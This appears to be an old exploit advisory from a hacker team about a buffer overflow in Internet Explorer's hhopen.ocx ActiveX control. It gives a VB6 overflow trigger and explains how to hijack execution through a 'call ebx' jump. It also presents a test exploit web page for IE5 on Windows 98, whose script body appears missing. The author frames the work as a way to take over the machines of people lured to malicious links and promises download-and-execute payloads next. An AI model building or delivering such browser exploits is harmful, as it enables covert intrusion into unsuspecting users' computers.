XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HHOPEN.OCX Buffer Overflow Discovered by DaCure of RaZa-MeXiCaNa Hackers Team XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX The Problem ----------- While playing around with VB6 and some ActiveX controls, I discovered a buffer overflow in the following function: Hhopen1.OpenHelp(HelpFile as String, HelpSection as String) as Long This function is included in the "hhopen OLE Control Module" (hhopen.ocx). So we fill the buffer with a larger string: a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" Hhopen1.OpenHelp(a, "whatever") This would overwrite the return address and make EIP point to 0x41414141 (the last 4 "A"s). Of course nothing is loaded there, instant page fault. Now, we have good posibilities here for writting an exploit: - We can overwrite the return address - We have a large buffer to put code - We have even more buffer space to put code (if we use HelpSection as an extension) I found that EBX is the only register that points somewhere into the string (in fact it points to the beginning of it... great!). So we just need to find a "call ebx" and our code will be executed! Test Exploit ------------ The followin is just a test exploit. I dindn't have the time to write somethin but I'll do something in the next release (download and execute a file, execute a local file, etc.)... just imagine the fun of owning the machine of those hornys boys that visit every damn porn link you give them! This is for IE5 with 98. It may work with others too. Tell me what you find. ---- TEST.HTM - CUT HERE ---- HHOPEN.OCX IE5 Exploit

HHOPEN.OCX IE5 Exploit <release 1>

by DaCure <DaCure@bigfoot.com> of RaZa-MeXiCaNa Hackers Team

Tested with IE5 5.00.2614.3500 on W98.

May work with other versions as well.

This will do nothing but jump to the start of the buffer (our code) wich does nothing (you have to code your own exploit) until it crashes.

I dind't have the time to code something so the next release I'll put something for sure (download and execute a program, execute a local file, etc.).

We have almost unlimited posibilities with this! If you combine this with other bugs... guess what? even more posibilities.

All kinds of fun owning machines!

---- TEST.HTM - CUT HERE ---- XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX The End. "The most inspiring things for your work are those things you realy like and love" --DaCure XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX